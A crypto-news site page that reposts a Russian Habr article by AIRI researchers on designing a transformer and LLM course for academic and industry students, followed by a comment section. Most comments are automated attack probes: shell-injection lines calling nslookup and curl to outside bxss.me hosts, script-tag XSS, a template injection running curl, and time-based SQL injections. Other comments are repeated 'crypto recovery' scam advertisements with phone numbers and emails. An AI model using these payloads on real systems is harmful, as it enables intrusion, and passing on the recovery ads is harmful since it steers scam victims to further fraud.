Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie
Subscribe
Прямой эфир
Русский Русский  English English
Войти / Регистрация
Cryptocurrencies: 9544 / Markets: 113007
Market Cap: $ 3 691 605 128 269 / 24h Vol: $ 296 812 996 119 / BTC Dominance: 59.836090041736%

Н Новости

  1. Главная
  2. Новости

Всем про LLM. Как рассказать про трансформеры одинаково хорошо и индустриалам, и исследователям

Привет, Хабр. Меня зовут Вика, я работаю в AIRI, преподаю в Школе Анализа Данных и Сколтехе и вместе со своими коллегами занимаюсь обработкой естественного языка, изображений и видео, а также иными задачами, где могли бы пригодиться трансформерные модели. Трансформерные архитектуры — очень мощное орудие, которые может быть применено почти во всех сферах DL, и интереснейший концепт, в котором много потенциала для исследования. А, главное, их очень легко применить к технологиям, которые способны изменить нашу жизнь здесь и сейчас.

На словах всё красиво. Но три года назад мы заметили, что и магистры, и работники индустрии, связанной с AI, часто просят «объяснить, как же все‑таки работают трансформеры, потому что из научной статьи ничего не понятно». Так происходит из‑за того, что многое, что в статьях считается очевидным и само собой разумеющимся, очень плохо разъясняется в учебной литературе или существующих курсах. Как следствие, многие не могут использовать трансформеры для решения практических задач и реализации своих идей.

Эта трудность побудила нас создать полноценный курс по трансформерам, в котором проработаны такие проблемные точки и который адаптирован для студентов с разным профессиональным бэкграундом. О нём я и расскажу в этой статье.

Мы уже апробировали курс на лекциях в Сколтехе, МГУ и Сбер Университете, а также написали в AIRI о нём статью, которую представили на воркшопе по преподаванию на одной из самых популярных мировых конференций по NLP — ACL-2024. Материалы академической версии курса можно найти в нашем репозитории.

Приятного чтения!

Виктория Чекалина (то есть, я) рассказывает материал курса
Виктория Чекалина (то есть, я) рассказывает материал курса

Как сделать курс, где студенты работают

Во время планирования курса я уже преподавала в ШАД и одновременно училась в Сколтехе. Это позволило мне сравнить два разных подхода к выдаче заданий.

В первом дают практику по множеству тем, предлагая разобраться примерно с одной из них в неделю и решить несколько несложных практических задач вида «дозаполнить код».

Как показала практика, в режиме интенсивного обучения за неделю пройти тему с нуля нереально. Индивидуальные, по сути, задания становились групповыми, решения копировались у старших курсов и счастливчиков с приятелями‑преподавателями.

Во втором подходе, наоборот, упор ставится на командную работу: за терм — аналог семестра — команда из нескольких человек должна придумать тему и на ее основе создать исследовательский проект. По задумке авторов курса это позволяет не спеша и глубоко изучить выбранную проблему, обсуждая ее с сокомандниками. В реальности команда обычно формировалась вокруг одного‑двух сильных студентов и в качестве проекта бралась уже сделанная им работа.

Мы хотели взять из каждой системы лучшее, минимизировать возможность студенческого чита и создать такую структуру домашних заданий, чтобы

  1. каждый студент курса был гарантированно вовлечен в работу,

  2. работа была непосредственно по теме курса,

  3. студент имел возможность подумать над проблемой, осознать ее, попробовать несколько подходов к решению.

Курс состоит из 14 занятий, включающих в себя лекции и семинары. На лекциях разбираются теоретические аспекты и статьи, релевантные теме. На семинаре «с нуля» решается определенная практическая задача с дискуссией о выбранном методе, подбором датасета и обучением модели.

Касаемо последнего: мы решили сделать два больших задания на месяц по двум наиболее распространенным задачам в NLP: классификации и генерации. В задании по классификации мы просим присвоить каждой единице текста — токену — лейбл, определяющий его роль задаче сравнения двух опций. В задаче генерации мы просим изменить текст, сделать его менее грубым и токсичным. Структура оценивания строится таким образом, что тщательное проделывание одного из двух этих заданий уже гарантирует проходной балл.

Каждое задание имеет бейзлайн и несколько релевантных статей с возможными решениями. Оно подразумевает глубокое погружение в задачу и предлагает возможность попробовать несколько различных подходов, тщательно рассматривая и обсуждая их преимущества, недостатки и возможные модификации. Такое задание точно моделирует процесс решения реальных проблем и занимает не менее месяца. В середине месяца проводится дополнительное занятие, где можно поделиться с преподавателями своей стратегией и обсудить, что получается/не получается в решении задачи.

Попробовав несколько подходов, студент выбирает лучший и в индивидуальном порядке отправляет решение на соревновательную платформу CodaLab. Кроме этого, студент должен предоставить технический отчет с описанием использованных методов и код с комментариями.

Также в оценку включается мини‑квиз по каждой лекции и небольшое практическое задание по семинару. Лекционный квиз состоит из простых вопросов по теории, в семинарском предлагается изменить несколько параметров используемой модели и описать результат.

Лекцию читает Мария Тихонова, одна из авторов курса
Лекцию читает Мария Тихонова, одна из авторов курса

Структура курса

Если кратко подытожить написанное выше, цель у курса — путем углубления понимания теоретической базы научить студентов применять трансформерные модели для самых разных задач. Поэтому сначала мы подробно разбираем архитектуру трансформеров, потом — настройки и приемы обучения больших языковых моделей (LLM), основанных на этой архитектуре.

Затем мы учим студентов разделять проблемы, решаемые LLM, на классы и связывать их с проблемами из классического ML. Для каждого типа задач обычно используют определенные модели в определенных сетапах, что упрощает поиск решений для желаемого кейса. В конце курса мы показываем, как использовать трансформерные модели не только для текста, но и в других областях — для картинок, видео, временных рядов, графовых структур.

Расскажу поподробнее о каждом этапе.

В Лекции 1 мы подробно разбираем архитектуры трансформер. Материалы лекции и семинара базируются на тьюториале «Annotated Transformer». В Лекции 2 мы от архитектуры переходим непосредственно к модели — разбираем, как обучаются модели типа BERT. В Лекции 3 мы разбираем задачи, решаемые энкодерными трансформенными архитектурами. Это классификация текста — задача 1–2-классовой классификации в ML — и sequence tagging — multi‑label классификация.

В Лекции 4 мы переходим к декодерным архитектурам и генерации текста. В ML это соответствует задаче многоклассовой классификации, где количество возможных классов огромно и равно размеру словаря. В этой же лекции мы разбираем процесс генерации текста. Обсуждаем методы контролируемой генерации.

В Лекции 5 мы продолжаем тему контролируемой генерации и концепцию Reinforcement Learning from Human Feedback — основополагающую при обучении ChatGPT.

В Лекции 6 от декодерной архитектуры мы переходим к энкодерно‑декодерной и разбираем множество задач, подходящие под определение seq2seq — перевод, изменение тональности, диалоговые ассистенты. Обсуждаем мультиязычные модели.

В Лекции 7 отвечаем на вопрос, как сделать модель мультиязычной. В Лекции 8 мы обсуждаем, как можно управлять правдоподобностью трансформеров — сделать их предсказания более надежными и достоверными.

Поскольку современные трансформерные модели весьма большие, последние несколько лет довольно релевантна задача сделать их более компактными с сохранением изначальной эффективности. В Лекции 9 мы обсуждаем подходы к сжатию моделей (прунинг, дистилляцию и квантизацию), а также методы и нюансы распараллеливания моделей на нескольких ГПУ.

В Лекции 10 мы обсуждаем представление внутренней структуры трансформеров в более компактном виде с использованием различных алгебраических структур. В Лекции 11 объясняем, как LLM могу работать с модальностями, отличными от текстовых — видео, картинки, аудио — и рассматриваем архитектуру и алгоритмы обучения Vision Transformers.

Последние лекции посвящены применению трансформеров к различным типам данных. Так, Лекция 12 объясняет, как с их помощью представить графовую структуру, Лекция 13 — как использовать трансформеры для предсказания временных рядов, Лекция 14 описывает их применение в Табулярных данных.

Курс меняется вместе с изменением AI‑коммьюнити — например, в прошлом году основной запрос поменялся с «объяснить, как работают трансформеры» на «объяснить, как работает ChatGPT и что это».

Сейчас на пике находится использование больших языковых моделей для различных задач (так называемые Foundation models), а также использование LLM для работы с изображениями и видео. Следуя за этой тенденцией, в курсе мы расширяем и углубляем темы по мультимодальности, промпт и инстракшн‑тюнингу.

У микрофона одна из авторов курса Ирина Никишина
У микрофона одна из авторов курса Ирина Никишина

От простого к сложному

Для объяснения сложных концепций мы используем принцип анализа‑синтеза: разбиваем вопрос на отдельные логически законченные блоки, объясняем каждый из них, что дает картину концепции целиком.

Например, генерацию текста трансформерами мы объясняем так: отмечаем, что первая часть — модель — дает логиты, которые описывают вероятностное пространство слов, а не сами слова. Далее говорим, что можно влиять на само вероятностное пространство (top‑p, top‑k), на форму вероятностного распределения (temperature) и на сам процесс сэмплирования при фиксированном распределении (beam search, greed search).

ChatGPT тоже объясняем издалека. Сначала рассказываем, как еще можно повлиять на то, что генерит модель (prompt engineering, steering technique). Далее подводим студентов к мысли, что для этой цели можно использовать Reinforcement Learning (RL) и людей‑аннотаторов. Рассказываем про Reinforcement Learning from Human Feedback на примере Instruct GPT и говорим, что у ChatGPT похожая схема.

Про разницу курса для студентов-академиков и студентов-индустриалов

Курс стартовал летом 2022 года и читался 3 раза на английском языке Сколтехе и в Институте искусственного интеллекта МГУ для AI Masters и 6 раз на русском в Сбер Университете для любых сотрудников, которые интересовались темой и прошли входное тестирование. Первый тип обучающихся я называю здесь студентами‑академиками или просто «академией», второй — студентами‑индустриалами или просто «индустрией», поскольку чаще всего ко второй группе относятся уже работающие инженеры и руководители подразделений.

Для индустрии курс читается вечером. Поначалу мы брали такую же длительность занятий, как и для академии — 2 пары по полтора часа, лекция и семинар. Однако после первых запусков стало понятно, что инженерам тяжело после рабочего дня полноценно концентрироваться еще три часа, а некоторая часть академических лекций — например, математические выкладки и нюансы методов — не нужны для индустрии. Поэтому мы сократили размер пары до 1 часа.

Вопросы, которыми интересовались эти две группы, тоже различались. В индустрии студенты спрашивали: «а как на практике сделать это? А вот то? А если у нас такая задача, как можно решить ее этим методом?» В академии спрашивали про экспериментальное и теоретическое обоснование метода, «а как отразится на результате, если в методе изменить определенную вещь?».

Так как курс меняется в соответствии с запросами аудитории, для двух этих потоков мы изменяли акценты в лекциях, а иногда и сами лекции. В академических запусках мы уделяем особое внимание теории, лежащей в основе методов, и ее потенциальному развитию. В индустриальных запусках мы обсуждаем практические трудности: расположение и работа большой модели на нескольких GPU‑картах, проблемы и нюансы сбора датасетов с помощью краудсорсинга и т. д..

В академических запусках мы больше концентрируемся на теоретическом материале, давая больше математических формул и объяснений. Во время индустриальных запусков мы приводим больше практических примеров, иллюстрируя все методы с максимально возможным количеством вариантов использования и бизнес‑приложений.

Приведу несколько примеров.

  • В лекции по декодерным архитектурам академикам я рассказываю, как в коде устроен блок внимания в GPT‑модели. Что Query, Key, Value — это три обучаемые матрицы, которые мы собираем в одну, на ее основании для токена получаем один общий вектор, который решейпится и разделяется на три. В индустрии мы опускаем это.

  • В семинаре про стратегии генерации в академии мы перебираем различные способы влияния на результирующий текст — от изменения температуры до стоп‑слов — и смотрим, как изменяется выход модели. В индустрии в этом семинаре упор делается на создании чат‑бота на основе GPT-2.

  • На занятии про низкоранговые структуры в трансформерах для академии я рассказываю теоретический бэкграунд ТТМ-разложения, а для индустрии просто говорю «теперь наша двумерная матрицы весов стала несколькими четырехмерными кубиками».

  • В занятии по эффективному использованию трансформеров академики больше интересуются алгоритмами уменьшения эффективного размера модели (прунинг, квантизация), индустриалы — схемами распараллеливания и синхронизации вычислений (Varuna, Megatron)

Формальной разницы в заданиях или критериях оценки для академиков и индустриалов нет. Однако во время академических запусков мы стимулируем студентов больше концентрироваться на теоретическом анализе своих результатов и научных выводах, которые они могут из них сделать, в то время как в индустриалов мы просим больше рассказывать о практических эффектах, которые можно вывести из результатов, полученных ими в заданиях.

Фидбек и коллаборация со студентами

Мы с коллегами остались очень довольны проделанной работой и читали курс с огромным удовольствием. Поскольку курс очень динамичен, для каждого запуска мы готовили новый материал, и чтение лекций не приедалось. Очень вдохновляет, когда студенты, словив несколько инсайтов, внезапно начинают понимать всю картину целиком. Или когда понимают, как сложные формулы превращаются в понятный каждому объект: картинку или текст.

Разница в восприятии индустриальных и академических студентов тоже расширяет кругозор. Иногда рассказываешь одну и ту же лекцию в разных сетапах и удивляешься, насколько широкий спектр мыслей и ассоциаций она рождает (ты бы о таких даже не подумала бы).

Диалог с индустриалами здесь особенно интересен. Во‑первых, сами мы ближе к академии и думаем как академики, индустрия же подсвечивает стороны, на которые мы традиционно не смотрим; во‑вторых, в индустрии студенты — это уже сложившиеся специалисты, которые видят предмет более обще. Иногда они предлагают необычные кейсы внедрения и применимости.

Повод для отдельной гордости — это тот факт, что некоторые студенты в течение курса заинтересовались описываемыми темами глубже, чем предполагалось, и у них появлялись идеи для ресерча. При поддержке лекторов этим идеям был дан зелёный свет, в результате чего появилось несколько научных статей.

В конце каждого запуска мы проводили студентам небольшой опрос, чтобы собрать обратную связь. Как видно из диаграмм средней оценки фичей курса от индустриалов и фидбека академиков по отдельным критериям, в целом студенты оставались довольны. Небольшая просадка в колонке «регулярный фидбек» была вызвана тем, что, стараясь дать максимально достоверную информацию, мы отвечали на вопросы, только проверив информацию по нескольким релевантным статьям. Возможно, здесь лучшее было врагом хорошего: студенты хотели не долго ждать академически выверенных ответов, а чтобы мы подумали вместе с ними.

a) Оценка общей удовлетворенности курсом от индустриалов; b) оценка академиками отдельных аспектов курса
a) Оценка общей удовлетворенности курсом от индустриалов; b) оценка академиками отдельных аспектов курса

Материалы курса общедоступны для любого желающего, больше деталей можно узнать из нашей статьи:

Irina Nikishina, Maria Tikhonova, Viktoriia Chekalina, Alexey Zaytsev, Artem Vazhentsev, and Alexander Panchenko. 2024. Industry vs Academia: Running a Course on Transformers in Two Setups. In Proceedings of the Sixth Workshop on Teaching NLP, pages 7–22, Bangkok, Thailand. Association for Computational Linguistics.

Живьем же курс можно послушать в Сколтехе и Корпоративном Университете Сбербанка.

Авторы курса: Ирина Никишина, Мария Тихонова, Виктория Чекалина, Алексей Зайцев, Артём Важенцев и Александр Панченко.

Если у вас есть аналогичный опыт в преподавании или создании учебных курсов по трансформерам, расскажите о нём в комментариях. Давайте обмениваться экспертизой!

Источник

Теги

Категория

Новости

Дата

  • 09.10.25 08:08 pHqghUme

    expr 9000227416 - 917575

  • 09.10.25 08:08 pHqghUme

    (nslookup -q=cname hitrirljyvgim44c57.bxss.me||curl hitrirljyvgim44c57.bxss.me))

  • 09.10.25 08:08 pHqghUme

    $(nslookup -q=cname hitnaasjhmbqf44699.bxss.me||curl hitnaasjhmbqf44699.bxss.me)

  • 09.10.25 08:08 pHqghUme

    &nslookup -q=cname hitdjgcbtalqm528b9.bxss.me&'\"`0&nslookup -q=cname hitdjgcbtalqm528b9.bxss.me&`'

  • 09.10.25 08:08 pHqghUme

    &(nslookup -q=cname hitgrfzhgegxdb7bdf.bxss.me||curl hitgrfzhgegxdb7bdf.bxss.me)&'\"`0&(nslookup -q=cname hitgrfzhgegxdb7bdf.bxss.me||curl hitgrfzhgegxdb7bdf.bxss.me)&`'

  • 09.10.25 08:08 pHqghUme

    |(nslookup -q=cname hitfmymffseet6e8b2.bxss.me||curl hitfmymffseet6e8b2.bxss.me)

  • 09.10.25 08:08 pHqghUme

    `(nslookup -q=cname hitohduurqhba06a59.bxss.me||curl hitohduurqhba06a59.bxss.me)`

  • 09.10.25 08:08 pHqghUme

    ;(nslookup -q=cname hitieevbtlzep92252.bxss.me||curl hitieevbtlzep92252.bxss.me)|(nslookup -q=cname hitieevbtlzep92252.bxss.me||curl hitieevbtlzep92252.bxss.me)&(nslookup -q=cname hitieevbtlzep92252.bxss.me||curl hitieevbtlzep92252.bxss.me)

  • 09.10.25 08:08 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:08 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitanwkhusxwr37069.bxss.me||curl${IFS}hitanwkhusxwr37069.bxss.me)

  • 09.10.25 08:09 pHqghUme

    &(nslookup${IFS}-q${IFS}cname${IFS}hitochckpfbtw00d29.bxss.me||curl${IFS}hitochckpfbtw00d29.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitochckpfbtw00d29.bxss.me||curl${IFS}hitochckpfbtw00d29.bxss.me)&`'

  • 09.10.25 08:09 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}

  • 09.10.25 08:13 pHqghUme

    '"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?9425407

  • 09.10.25 08:13 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:14 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:16 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    "+response.write(9043995*9352716)+"

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    $(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    |(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)

  • 09.10.25 08:18 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:19 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:22 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:23 pHqghUme

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • 09.10.25 08:24 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:24 pHqghUme

    e

  • 09.10.25 08:24 pHqghUme

    can I ask you a question please?-1 waitfor delay '0:0:15' --

  • 09.10.25 08:25 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --

  • 09.10.25 08:26 pHqghUme

    can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--

  • 09.10.25 08:26 pHqghUme

    e

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'"

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:28 pHqghUme

    @@olQP6

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891 from DUAL)

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891)

  • 09.10.25 08:30 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:33 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:35 pHqghUme

    e

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:40 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:40 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:41 pHqghUme

    e

  • 09.10.25 08:41 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:42 pHqghUme

    e

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 11.10.25 04:41 luciajessy3

    Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…

  • 11.10.25 10:44 Tonerdomark

    A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.

  • 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

Для участия в Чате вам необходим бесплатный аккаунт pro-blockchain.com Войти Регистрация

Похожие новости

Есть вопросы?
С вами на связи 24/7
Поддержка 24/7 Help Icon
Менеджер онлайн Help Icon
Help Icon